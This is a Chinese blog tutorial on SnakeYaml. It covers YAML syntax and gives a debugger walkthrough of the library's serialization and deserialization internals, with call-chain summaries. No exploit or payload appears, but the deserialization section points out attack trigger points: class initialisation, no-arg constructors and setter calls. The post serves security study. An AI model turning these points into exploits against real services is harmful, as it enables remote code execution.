SnakeYaml 反序列化

又来炒冷饭了伙计们。

一、SnakeYaml 简介

SnakeYaml 是 Java 中解析 yaml 的库,而 yaml 是一种人类可读的数据序列化语言,通常用于编写配置文件等。

YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和 YAML 非常接近)。

0x1:yaml 基本语法

  • 大小写敏感

  • 使用缩进表示层级关系

  • 缩进只允许使用空格

  • #​ 表示注释

  • 支持对象、数组、纯量这 3 种数据结构

    • 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
    • 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
    • 纯量(scalars):单个的、不可再分的值

YAML 的配置文件后缀为 .yml,如:runoob.yml 。

1、yaml 对象

对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格。

也可以使用 key:{key1: value1, key2: value2, …}。

还可以使用缩进表示层级关系;

1
2
3
key: 
child-key: value
child-key2: value2

2、yaml 数组

以 - 开头的行表示构成一个数组:

1
2
3
- A
- B
- C

一个相对复杂的例子:

1
2
3
4
5
6
7
8
9
companies:
-
id: 1
name: company1
price: 200W
-
id: 2
name: company2
price: 500W

意思是 companies 属性是一个数组,每一个数组元素又是由 id、name、price 三个属性构成。

数组也可以使用流式(flow)的方式表示:

1
companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}]

3、复合结构

数组和对象可以构成复合结构,例:

1
2
3
4
5
6
7
8
9
languages:
- Ruby
- Perl
- Python
websites:
YAML: yaml.org
Ruby: ruby-lang.org
Python: python.org
Perl: use.perl.org

4、纯量

纯量是最基本的,不可再分的值,包括:

  • 字符串
  • 布尔值
  • 整数
  • 浮点数
  • Null
  • 时间
  • 日期

使用一个例子来快速了解纯量的基本使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
boolean: 
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

5、引用

& 锚点和 * 别名,可以用来引用:

1
2
3
4
5
6
7
8
9
10
11
defaults: &defaults
adapter: postgres
host: localhost

development:
database: myapp_development
<<: *defaults

test:
database: myapp_test
<<: *defaults

上面.yaml 文件相当于:

1
2
3
4
5
6
7
8
9
10
11
12
13
defaults:
adapter: postgres
host: localhost

development:
database: myapp_development
adapter: postgres
host: localhost

test:
database: myapp_test
adapter: postgres
host: localhost

& 用来建立锚点(defaults),<< 表示合并到当前数据,* 用来引用锚点。

参考链接:

1
https://www.runoob.com/w3cnote/yaml-intro.html

0x2 序列化和反序列化函数

snakeyaml 中有以下序列化和反序列化函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
String  dump(Object data)
将Java对象序列化为YAML字符串。
void dump(Object data, Writer output)
将Java对象序列化为YAML流。
String dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String dumpAsMap(Object data)
将Java对象序列化为YAML字符串。

<T> T load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。

其中比较常用的就是 Yaml.dump() 和 Yaml.load() 。

二、SnakeYaml 快速入门

SnakeYaml 提供了 yaml 数据和 Java 对象相互转换的 API,即能够对数据进行序列化与反序列化。

  • Yaml.load():将 yaml 数据反序列化成一个 Java 对象。
  • Yaml.dump():将 Java 对象序列化成 yaml 。

依赖导入:

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

用于序列化的 Person 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Person {
private String username;
private int age;

public Person() {
System.out.println("无参构造方法被执行");
}

public Person(String username, int age) {
this.username = username;
this.age = age;
System.out.println("有参构造方法被执行");
}

public int getAge() {
System.out.println("getAge方法调用");
return age;
}

public String getUsername() {
System.out.println("getUsername方法调用");
return username;
}

public void setAge(int age) {
System.out.println("setAge方法调用");
this.age = age;
}

public void setUsername(String username) {
System.out.println("setUsername方法调用");
this.username = username;
}
}

测试序列化与反序列化,SnakeYamlTest.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
public static void main(String[] args) {
Yaml yaml = new Yaml();
Person person = new Person("mike", 18);
System.out.println("序列化");
String str = yaml.dump(person);
System.out.println(str);
System.out.println("反序列化");
Person person2 = yaml.load(str);
System.out.println(person2);
}
}

参考链接:

1
https://chenergy1991.github.io/2019/04/27/yaml.load%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

三、原理分析

0x1 序列化分析

关注 yaml.dump 方法,在这里下断点开始调试:

跟进 Yaml#dump(Object) ,这里将 data 封装进 ArrayList 列表中,再调用 dumpAll 方法进行处理,提高 dumpAll 方法的复用性:

继续跟进 Yaml#dumpAll(Iterator<? extends Object>),这里调用重构方法:

跟进 Yaml#dumpAll(Iterator<? extends Object>, Writer, Tag) ,这里先获取了一个序列化器 serializer ,先调用了 serializer.open() 、然后对于迭代器中的每一个数据 data ,都调用 representer.represent 来获取 node ,并且调用 serializer.serialize 进行序列化,最后调用 serializer.close() 收尾 :

那么首先来看 Serializer 的构造,给属性赋值,没什么好说的:

接下来看 serializer.open() ,这里用 this.closed 来控制生命周期,开始时将其设置为 false :

结束时调用 serializer.close() 将其设置为 true ,表示关闭:

接下来看关键方法,BaseRepresenter#represent(Object) 这个方法用于将 Java 对象转换为 Yaml node 节点,其核心是调用了内部的 representData 方法:

跟进 BaseRepresenter#representData(Object) ,简单解释一下,它用来获取一个对象的表示数据

1、首先会去 representedObjects 属性中查找 data 是否已存在(是否已经获取过 node 节点),有的话直接获取返回。这也是一种缓存机制,防止重复获取;

2、对空数据单独处理;

3、然后调用 data.getClass() 来获取对应的类型,data 此时是 Person 对象,获取到的自然是 Person 的 class 对象。

4、获取完以后去 representers 属性中找是否已存在该键,如果存在,直接去 representers 属性中获取对应的 Represent 对象,还是缓存。如果不存在,则去 multiRepresenters 属性中获取父类处理器的 Represent 对象。最后调用 Represent 对象的 representData 方法获取 node 节点 。

5、最后还有针对其他情况的默认处理逻辑,即既不为空,也没有当前类和父类对应的 Represent 对象 ,就是从 multiRepresenters 中获取 null 键对应的 Represent 对象,或者去 representers 中获取 null 键对应的 Represent 对象(我们的调试最终是跟到了这里),最后也是调用 Represent 对象的 representData 方法获取 node 节点:

那么我们跟进 Representer$RepresentJavaBean#representData(Object),这里首先调 getProperties 获取了一些什么配置,再将它和 data 一起作为参数传入 representJavaBean 方法中:

跟进 Representer#getProperties(Class<? extends Object>) ,还是一样先去 typeDefinitions 里找现成的 PropertyUtils ,找不到就调用 getPropertyUtils() 获取一个。最后调用 PropertyUtils.getProperties :

继续跟进 PropertyUtils#getProperties(Class<? extends Object>), 调用两参重构方法:

继续跟进 PropertyUtils#getProperties(Class<? extends Object>, BeanAccess),这里就干了两件事,一个 Set 集合 properties ,一个 Map 集合 readableProperties 。readableProperties 是缓存,我们只关注 createPropertySet 方法:

跟进 PropertyUtils#createPropertySet(Class<? extends Object>, BeanAccess) ,new 一个 TreeSet ,然后将可读可写、或者只读的配置添加到其中,而这些配置则是通过调用 getPropertiesMap 获取的:

那么关键之处就在于这个 PropertyUtils#getPropertiesMap(Class<?>, BeanAccess) ,跟进它 :

1、首先,方法接收两个参数:Class 类型和 BeanAccess 枚举。方法内部首先检查 propertiesCache 缓存中是否已经存在该类型的属性映射。如果存在,直接返回缓存的值,这样可以提高性能,避免重复计算。

2、如果缓存中没有,就创建一个新的 LinkedHashMap 来存储属性。接着根据 BeanAccess 的不同分支处理:

(1)当 BeanAccess 是 FIELD 模式时,通过反射获取类的所有字段(排除 static 和 transient 字段),并加入到 properties 中,并且 properties 当中字段对应的值是 FieldProperty 。

(2)当 BeanAccess 是默认模式(非 FIELD)时,第一步通过 Introspector.getBeanInfo(type).getPropertyDescriptors() 获取类的描述信息(包含类的所有方法、字段等信息)。这里关于 Introspector.getBeanInfo(type).getPropertyDescriptors() 我还得再解释一下,它只会返回有 getter 或 setter 的字段,如果一个字段既没有 getter 也没有 setter ,是不会被返回的。比如我们在 Person 类中添加以下字段:  

调试到这里来计算一下 Introspector.getBeanInfo(type).getPropertyDescriptors() 的结果,可以看到返回结果中不包含既没有 getter 也没有 setter 的属性:

接着往下,property.getReadMethod() 实际获取 getter 方法,随后排除掉 getClass(这是超类的方法)和 transient 字段,剩余 getter 方法对应的字段将被添加进 properties 中,另外没有 getter 方法的字段也会被添加进 properties 中,这里添加的字段对应的值是 MethodProperty 。故而这第一步就是获取了非 transient 字段(注意前置条件是有 getter 或 setter ,不过一般情况下来说要有就是两者都有,因为 JavaBean 规范要求非公有属性需要有 getter 和 setter 方法,但这一规范不一定要遵守):

default 模式下的第二步则是通过反射获取并补充添加所有非 static 非 transient 的 public 字段,且字段对应的值为 FieldProperty,这里肯定会存在重合的情况,比如说一个属性既是 public 修饰又有自己的 getter 方法,由于 properties 是一个 HashMap ,被 put 两次的话键相同值是会覆盖的,后来的 FieldProperty 会覆盖掉前面的 MethodProperty:

经过这一步之后,我们前面测试用的 test_no_getterAndSetter 字段也会被添加进 properties 中:

这里的 MethodProperty 与 FieldProperty 分别有什么意义呢?使用 MethodProperty 的字段在获取值时会调用其 getter 方法,而使用 FieldProperty 的字段会通过反射获取值,具体的逻辑在后面。

所以我们可以简单的总结一下:public 属性通过反射获取值,非 public 但有 getter 方法的属性通过 getter 获取值

处理完所有属性后,如果 properties 还是空的且存在不可访问的字段,抛出异常。最后将生成的属性映射存入缓存,并返回。

显然,这里就是获取序列化属性的核心点,决定了哪些属性可以被序列化。

关于 BeanAccess 什么时候会是 FIELD 模式,我们可以在 PropertyUtils 中找到两个地方对 beanAccess 属性进行了操作:

可以看到,如果系统在 Android 环境上运行,那么只允许使用 FIELD 模式(注释中解释了原因,Android 环境下缺乏 java.beans 包,所以 SnakeYAML 在 Android 上只能通过直接访问字段来处理属性,而不是使用标准的 JavaBean 机制。)

其他环境也可以通过 PropertyUtils#setBeanAccess 手动设置为 FIELD 模式。那么可以知道大多数情况都会走默认模式。

好嘛,回到 PropertyUtils#createPropertySet(Class<? extends Object>, BeanAccess) 方法,后续还会对属性做一个可读可写的判断:

什么意思呢,就是说可读可写,或者只读的属性才能通过。看似是这样,实际测试下来发现我五个属性都能过:

说明这跟 getter、setter 方法没关系,是他自己的方法恒定返回 true :

所以这个判断就跟没有一样。

后面没什么看的了,回到 Representer$RepresentJavaBean#representData(Object) ,我们前面是跟到了 getProperties 分支,现在来看 representJavaBean:

跟进 Representer#representJavaBean(Set, Object),这里面就是将 properties 转换为 MappingNode 节点树的过程:

MappingNode 节点主要由 tag 和 value 组成,tag 就是序列化的类名,value 中则存放着解析自 properties 的一个个元组 tuple 。

同时我们注意到这边调用 property.get 去获取了属性值 memberValue ,这里就是我们获取属性值的地方了,对应到前面的 MethodProperty ,它的 get 方法是通过调用 getter 方法来获取属性值:

如果是 FieldProperty ,则是通过反射获取属性值:

随后通过调用 representJavaBeanProperty 方法获取了元组 tuple ,将成员属性(property)和对应的值(memberValue)传入。

representJavaBeanProperty 内部对属性名和属性值分别做处理,都是调的 representData :

这个 BaseRepresenter#representData(Object) 我们前面已经分析过了,它用来获取一个对象的表示数据,这里键和值都是基本类型,不会走先前那个最后的默认逻辑。如果属性中有复杂对象类型,那可能会递归式的再经过一遍前面的处理。

那么这部分看的差不多了,一路返回返回,回到 Yaml#dumpAll(Iterator<? extends Object>, Writer, Tag),第一部分将对象转换为 node 节点树,我们已经跟完了。下面来看第二部分,将节点树转换为序列化数据:

跟进 Serializer#serialize(Node) :

其中,首尾的两行 DocumentStartEvent 和 DocumentStartEvent 标志着 YAML 文档的开始和结束。this.emitter.emit 负责将开始或结束事件发送出去。其中主要是调用了 anchorNode 和 serializeNode 来解析 node 节点树。

先来看 Serializer#anchorNode(Node) ,主要是将节点 node 和对应的锚点 anchor 添加进 this.anchors 属性中,对于子节点,也是递归式的调用自身,并且分了 SequenceNode 和 MappingNode 两种情况,分别处理序列类型(List/Array)和映射类型(Map/Bean):

那么接下来我们来看 Serializer#serializeNode(Node, Node) ,这里给了三种处理模式:

标量(Scalar) → 处理基本类型值

序列(Sequence) → 处理 List/Array 结构

(默认)映射(Mapping) → 处理 Map/JavaBean 结构

最开始会进入默认模式:

这边是调用自身对属性名称和属性值分别处理,递归式的。最后将结果发送给 this.emitter ,那么我们也来递归式的分析一下。

这边再次进入到 Serializer#serializeNode(Node, Node) ,处理的是 age 属性,由于是 int 基本类型,会直接进入到 Scalar 的处理逻辑中:

这里首先会调用 this.resolver.resolve 去处理两次,分别是第三个参数为 true 和 false 的情况。

Resolver#resolve(NodeId, String, boolean) 实际也没什么好看的,就走到最后返回 Tag.STR :

resolve 处理完以后,后面封装了一个元组 tuple ,又用这个元组创建了一个 event ,最后把这个 event 发送给了 this.emitter ,这部分就不分析了。

由 node 节点树转换为序列化数据的过程就是做了各种封装,结果通过调用 this.emitter.emit 直接输出到数据流,而不是存储在内存中。

调用链总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Yaml#dump(Object)
Yaml#dumpAll(Iterator<? extends Object>)
Yaml#dumpAll(Iterator<? extends Object>, Writer, Tag)
-> BaseRepresenter#represent(Object) # 分支一:将 JavaBean 转换为 node 节点树
BaseRepresenter#representData(Object)
Representer$RepresentJavaBean#representData(Object)
-> Representer#getProperties(Class<? extends Object>)
PropertyUtils#getProperties(Class<? extends Object>)
PropertyUtils#getProperties(Class<? extends Object>, BeanAccess)
PropertyUtils#createPropertySet(Class<? extends Object>, BeanAccess)
PropertyUtils#getPropertiesMap(Class<?>, BeanAccess)
# public 属性设置为 FieldProperty ,非 public 但有 getter 方法的属性设置为 MethodProperty
-> Representer#representJavaBean(Set<Property> properties, Object javaBean)
-> Property#get(Object)
# 对于 FieldProperty 反射获取值,对于 MethodProperty 调用 getter 获取值
-> Representer#representJavaBeanProperty(Object, Property, Object, Tag)
# 递归式地调用 BaseRepresenter#representData(Object) 来处理子节点(类属性)
-> Serializer#serialize(Node) # 分支二:将 node 节点树转换为序列化数据
-> Serializer#anchorNode(Node) # 递归式获取节点 node 对应的锚点 anchor
-> Serializer#serializeNode(Node, Node) # 递归式将节点 node 封装(序列化)

0x2 反序列化分析

当执行 yaml.load() 时,实际会经过以下关键阶段:

1
YAML文本 → Parser (生成事件流) → Composer (构建节点树) → Constructor (转换为Java对象)

那么还是以上面的 demo 为例,我们来跟进一下代码:

首先下断点:

跟进 yaml.load ,这里调用 Yaml#loadFromReader ,并将传入的 yaml 数据封装为 StreamReader 作为参数传入,第二个参数为 ​Object.class:

继续跟进,Yaml#loadFromReader 首先将传入的 StreamReader 对象进一步封装为 ParserImpl 对象,再继续封装成 Composer 对象,并将其封装进 constructor :

这个 constructor 是一个 BaseConstructor 对象,并在构造方法中赋值:

当我们调用无参构造方法时是会调用这个构造方法的,使用的都是默认配置:

回到 Yaml#loadFromReader ,接下来调用 constructor.getSingleData :

跟进 BaseConstructor#getSingleData(Class<?>) :

第一步从刚刚封装的 composer 里面获取一个 SingleNode ,内部其实是调用 getNode() 来获取。

跟进 Composer#getSingleNode() ,这里两次调用 parser.getEvent() ,分别用于消费 STREAM_START 事件(流开始标记)和 STREAM_END 事件(流结束标记),这是由于 YAML 规范要求流必须以 STREAM_START 开始,消费后才能开始解析文档,并在最后清理解析器状态,确保后续操作不会残留未处理事件 :

我们来看 Composer#getNode() ,这个方法的核心是通过调用 composeNode 方法来构建节点树,父节点为 null ,表示从根节点开始构造:

跟进 Composer#composeNode(Node) :

这段代码是 SnakeYAML 库中负责构建节点树的核心方法。方法接收一个父节点 parent ,然后根据解析器的事件类型来处理不同的节点情况。我们主要关注 else 部分的处理逻辑,还是熟悉的三个处理方法,即分别对应 Scalar(标量),Sequence(序列)和默认的 Mapping(映射)处理逻辑的三个方法:composeScalarNode、composeSequenceNode 和 composeMappingNode ,第一次解析也是毫不意外地走到了 composeMappingNode ,盲猜之后是对字段的递归解析。

跟进 Composer#composeMappingNode(String) ,这边也确实调用了 composeMappingChildren 去处理子节点:

继续跟进 Composer#composeMappingChildren(List, MappingNode),这边分别调用 composeKeyNode 和 composeValueNode 获取了属性名和属性值:

composeKeyNode 和 composeValueNode 这两个方法都是调用当前类的 composeNode :

喜欢套娃?继续跟进 Composer#composeNode(Node parent) ,发现我们又回来了,但是熟悉的配方,不同的做法,这一次我们是调用到了 composeScalarNode 去解析 Person 类的属性,具体是哪个属性呢?我也不知道,还得跟进去看看:

跟进 Composer#composeScalarNode(String):

发现其实在第一步 parser.getEvent() 就获取到了我们的成员属性 age :

这边将 age 的信息封装成了一个节点并返回。

对属性值的处理 composeValueNode 同样最后也是走到这里,只不过这里调用 parser.getEvent() 获取到的是属性值:

看来这个 parser.getEvent() 之中很有玄妙,跟进 ParserImpl#getEvent() ,这里调用了一次 peekEvent ,然后返回了 currentEvent 属性值:

跟进 ParserImpl#peekEvent() ,这里是调用 state.produce() 来获取了 currentEvent 属性值:

这个 state 属性是 Production 类型,在 ParserImpl 类中有许多内部类实现了这个接口:

譬如这一次处理 age 的值 18 ,

好的,回到 BaseConstructor#getSingleData(Class<?>) 方法,随后经过一些对节点树中 tag 的操作,会调用 constructDocument 方法:

跟进 BaseConstructor#constructDocument(Node) ,从这个方法开始,开始将节点树转换为 Java 对象。这里通过 constructObject() 方法递归地将节点树转换为 Java 对象:

继续跟进 BaseConstructor#constructObject(Node node) 方法,这里检查当前 constructedObjects 属性中是否已经存在该节点树,如果存在则直接获取,不存在则调用 constructObjectNoCheck 方法进行处理。constructedObjects 属性是一个 Map 集合:

第一次来肯定是不存在的,继续跟进 BaseConstructor#constructObjectNoCheck 方法:

这里首先检查当前节点是否已经在递归集合 recursiveObjects 中,如果是则抛出异常,防止无限递归。接着将节点加入递归集合 recursiveObjects ,确保后续处理能检测到循环。

然后通过 getConstructor 方法获取对应的构造器,如果节点已经构建过(即存在于 constructedObjects 中),则直接取其中的数据,否则调用构造器的 construct 方法创建对象,这里相当于又检查了一遍。创建完成后,调用 finalizeConstruction 方法进行最终化处理,并将对象存入 constructedObjects 中。

最后,调用 node.isTwoStepsConstruction() 判断节点是否需要两步构建,若是则调用构造器的 construct2ndStep 方法完成后续处理。

那么接下来我们先跟进 BaseConstructor#getConstructor(Node) 方法:

这里先调用 useClassConstructor 方法判断是否启用类构造器,如果是,则从 yamlClassConstructors 中根据 NodeId 获取构造器。我们可以来关注一下 useClassConstructor 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public boolean useClassConstructor() {
// 情况 1:显式配置了 useClassConstructor 值
if (useClassConstructor != null) {
return useClassConstructor; // 直接返回预设值
}

// 情况 2:自动判断构造方式
if (!tag.isSecondary() // 是主要标签(非本地标签)
&& resolved // 类型已解析
&& !Object.class.equals(type) // 非通用对象类型
&& !tag.equals(Tag.NULL)) { // 非空值
return true; // 使用类构造器(如自定义的 Person 类)
}
else if (tag.isCompatible(getType())) {
// 标签与类型兼容(如 Tag.STR 对应 String.class)
return true; // 优先使用类构造器
}
else {
return false; // 使用标签驱动的构造器
}
}

默认情况下返回 false ,返回 false 的话接下来就去 yamlConstructors 中根据 Tag 来获取构造器。这里第一次获取到的其实也是 null :

接下来会根据前缀来从 yamlMultiConstructors 中获取多态构造器。当 YAML 标签使用 Java 类全路径时(如 !com.example.Shape),可以通过注册前缀 “!com.example.” 来统一处理该包下的所有子类。

最后,如果以上方法都未获取到,会调用 yamlConstructors.get 来获取。参数为 null 。

yamlConstructors 是一个 HashMap 对象,也就是说,最后会从 yamlConstructors 取一个键为 null 的值,我们可以看看这个值:

所以我们最终获取到的构造器就是这个 org.yaml.snakeyaml.constructor.Constructor 中的内部类 ConstructYamlObject 。那么这部分逻辑就分析完了,回到 BaseConstructor#constructObjectNoCheck :

接下来判断 constructedObjects 中是否已存在 node 对应的数据,如果有就直接拿,没有就用刚刚获取的构造器构造一个。这里因为第一次来 ,constructedObjects 中是没有该值的,故而直接调用构造器的 construct 方法。

跟进 Constructor$ConstructYamlObject#construct(Node) ,这里会先调用本类的 getConstructor 方法获取构造器,然后调用 construct 方法来构造:

继续跟进 Constructor$ConstructYamlObject#getConstructor(Node) ,这里会先调用 getClassForNode 方法根据节点树获取对应的 class 对象:

跟进 Constructor#getClassForNode(Node) ,这个方法根据节点树获取对应的目标类,是一个关键方法。该方法首先会在 typeTags 中查找是否已经有 Tag -> Class 的映射,然后获取。如果没有的话调用 getClassForName 根据类名来获取 Class 对象,最后将 Tag -> Class 的映射加入进 typeTags 中 :

跟进 Constructor#getClassForName(String),这里面直接进行类加载:

这里 Class.forName 的第二个参数为 true,表示初始化类,会经过类加载的全部五个阶段,会执行 person 类的静态代码块。

好的,回到 Constructor$ConstructYamlObject#getConstructor(Node) ,此时我们已经获取到这个 Class 对象(Person 类),将这个对象设置进 node 节点树的 type 属性中,然后从 yamlClassConstructors 中根据 NodeId 来获取构造器,最后这里获取到的是一个 Constructor$ConstructMapping 对象 :

好的,回到 Constructor$ConstructYamlObject#construct(Node) ,获取到构造器以后会调用它的 construct 方法:

跟进 Constructor$ConstructMapping#construct(Node) ,这里会首先判断 node.getType() 是否是 Map 或 Collection 类型,若是则单独调用 constructMapping 或 constructSet 方法进行构造。由于我们的 node.getType() 是自定义的 Person 类型,所以会走到最后调用 Constructor.this.newInstance :

该方法中每次都使用 isTwoStepsConstruction() 进行判断,根据注解,它用来指示此节点是否需要分两步构造。当节点是自身(直接或间接)的子节点时,必须使用两步构造。即当使用锚点和别名构建递归结构时。该标记由 Composer 组件设置,仅在反序列化加载过程中使用。

接下来跟进 BaseConstructor#newInstance(Node) ,这里直接调用两参重构方法:

跟进 BaseConstructor#newInstance(Class<?>, Node),这里调用三参重构方法:

继续跟进 BaseConstructor#newInstance(Class<?>, Node, boolean) ,最终在这里进行构造方法的调用。type.getDeclaredConstructor() 获取目标类的构造方法,这里目标类就是我们的 Person 类,随后实例化对象,这里就会执行类的无参构造方法,是反序列化链的触发点之一:

这里只是调用了无参构造方法,类的各属性是如何赋值的呢?回到 Constructor$ConstructMapping#construct(Node) ,接下来会调用 constructJavaBean2ndStep 方法

我们跟进 Constructor$ConstructMapping#constructJavaBean2ndStep(MappingNode, Object) ,属性赋值就在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/**
* 构造JavaBean的第二步处理(属性赋值阶段)
*
* @param node 映射节点,包含键值对信息
* @param object 第一步创建的JavaBean空实例
* @return 完成属性赋值的JavaBean
*/
protected Object constructJavaBean2ndStep(MappingNode node, Object object) {
// 扁平化处理嵌套的映射结构
flattenMapping(node);
// 获取目标JavaBean的类型信息和节点值列表
Class<? extends Object> beanType = node.getType();
List<NodeTuple> nodeValue = node.getValue();

// 遍历所有键值对节点
for (NodeTuple tuple : nodeValue) {
// 键节点必须是标量节点(ScalarNode)
ScalarNode keyNode;
if (tuple.getKeyNode() instanceof ScalarNode) {
keyNode = (ScalarNode) tuple.getKeyNode();
} else {
throw new YAMLException("Keys must be scalars but found: " + tuple.getKeyNode());
}

// 处理值节点并构造键对象
Node valueNode = tuple.getValueNode();
keyNode.setType(String.class); // 强制键为String类型
String key = (String) constructObject(keyNode);

try {
// 获取类型定义和对应的属性元数据
TypeDescription memberDescription = typeDefinitions.get(beanType);
Property property = memberDescription == null
? getProperty(beanType, key) // 默认属性查找
: memberDescription.getProperty(key); // 使用类型定义中的属性

// 校验属性可写性
if (!property.isWritable()) {
throw new YAMLException("No writable property '" + key + "' on class: " + beanType.getName());
}

// 设置值节点的预期类型
valueNode.setType(property.getType());
// 检测并处理泛型类型信息
final boolean typeDetected = (memberDescription != null)
? memberDescription.setupPropertyType(key, valueNode)
: false;

// 如果没有显式类型定义且是非标量节点,处理集合类型泛型
if (!typeDetected && valueNode.getNodeId() != NodeId.scalar) {
Class<?>[] arguments = property.getActualTypeArguments();
if (arguments != null && arguments.length > 0) {
// 根据集合类型设置泛型参数
if (valueNode.getNodeId() == NodeId.sequence) {
// 处理List类型泛型
Class<?> t = arguments[0];
SequenceNode snode = (SequenceNode) valueNode;
snode.setListType(t);
} else if (Set.class.isAssignableFrom(valueNode.getType())) {
// 处理Set类型泛型
Class<?> t = arguments[0];
MappingNode mnode = (MappingNode) valueNode;
mnode.setOnlyKeyType(t);
mnode.setUseClassConstructor(true);
} else if (Map.class.isAssignableFrom(valueNode.getType())) {
// 处理Map类型泛型
Class<?> keyType = arguments[0];
Class<?> valueType = arguments[1];
MappingNode mnode = (MappingNode) valueNode;
mnode.setTypes(keyType, valueType);
mnode.setUseClassConstructor(true);
}
}
}

// 构造值对象(优先使用类型定义中的构造方式)
Object value = (memberDescription != null)
? newInstance(memberDescription, key, valueNode)
: constructObject(valueNode);

// 类型转换处理
// Double -> Float 类型适配
if (property.getType() == Float.TYPE || property.getType() == Float.class) {
if (value instanceof Double) {
value = ((Double) value).floatValue();
}
}
// byte[] -> String 类型适配(处理二进制标签)
if (property.getType() == String.class
&& Tag.BINARY.equals(valueNode.getTag())
&& value instanceof byte[]) {
value = new String((byte[]) value);
}

// 设置属性值(优先使用类型定义的设置方式)
if (memberDescription == null || !memberDescription.setProperty(object, key, value)) {
property.set(object, value);
}
} catch (DuplicateKeyException e) {
throw e;
} catch (Exception e) {
// 封装构造异常信息
throw new ConstructorException(
"Cannot create property=" + key + " for JavaBean=" + object,
node.getStartMark(), e.getMessage(), valueNode.getStartMark(), e);
}
}
return object;
}

这里设置属性值是调用了 property.set(object, value),property 在前面赋值的语句为:

1
2
Property property = memberDescription == null ? getProperty(beanType, key)
: memberDescription.getProperty(key);

这里我们跟进 Constructor#getProperty(Class<? extends Object>, String),可以发现这里面实际调用了 PropertyUtils 的 getProperty(Class<? extends Object>, String) 方法:

而这个方法其实最后也会调用到 PropertyUtils#getPropertiesMap(Class<?>, BeanAccess),我们在序列化的时候分析过(它会将 public 属性设置为 FieldProperty ,非 public 但有 getter 或 setter 方法的属性设置为 MethodProperty)。

那么后续调用 property.set(object, value) ,对于 FieldProperty 来说,调用 FieldProperty#set(Object, Object)​ 方法,通过 java.lang.reflect.Field#set​ 进行反射赋值:

而对于 MethodProperty ,调用 MethodProperty#set(Object, Object) ​方法,通过 java.beans.PropertyDescriptor#getWriteMethod()​ 来获取 setter 方法并执行:

至此,分析完毕。

调用链总结

我们总结一下前面的调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Yaml#load(String) # 将 Yaml 数据反序列化为 Java 对象
Yaml#loadFromReader(StreamReader, Class<?>)
BaseConstructor#getSingleData(Class<?>)
-> Composer#getSingleNode() # 分支1:构建节点树
Composer#getNode()
Composer#composeNode(Node) # 构建节点树
-> BaseConstructor#constructDocument(Node) # 分支2:将节点树转换为 Java 对象
BaseConstructor#constructObject(Node)
BaseConstructor#constructObjectNoCheck(Node)
-> BaseConstructor#getConstructor(Node) # 获取构造器 ConstructYamlObject
-> Constructor$ConstructYamlObject#construct(Node)
-> Constructor$ConstructYamlObject#getConstructor(Node)
Constructor#getClassForNode(Node)
Constructor#getClassForName(String) # 类加载
-> Constructor$ConstructMapping#construct(Node)
-> BaseConstructor#newInstance(Node)
BaseConstructor#newInstance(Class<?>, Node)
BaseConstructor#newInstance(Class<?>, Node, boolean) # 调用无参构造方法
-> Constructor$ConstructMapping#constructJavaBean2ndStep(MappingNode, Object) # 属性赋值
-> Constructor#getProperty(Class<? extends Object>, String)
PropertyUtils#getProperty(Class<? extends Object>, String)
PropertyUtils#getProperty(Class<? extends Object>, String, BeanAccess)
PropertyUtils#getPropertiesMap(Class<?>, BeanAccess)
# public 属性设置为 FieldProperty
# 非 public 但有 getter 或 setter 方法的属性设置为 MethodProperty
-> Property#set(Object, Object)
# public 属性调用 FieldProperty#set(Object, Object) 反射赋值
# 非 public 属性调用 MethodProperty#set(Object, Object) 通过 setter 方法赋值

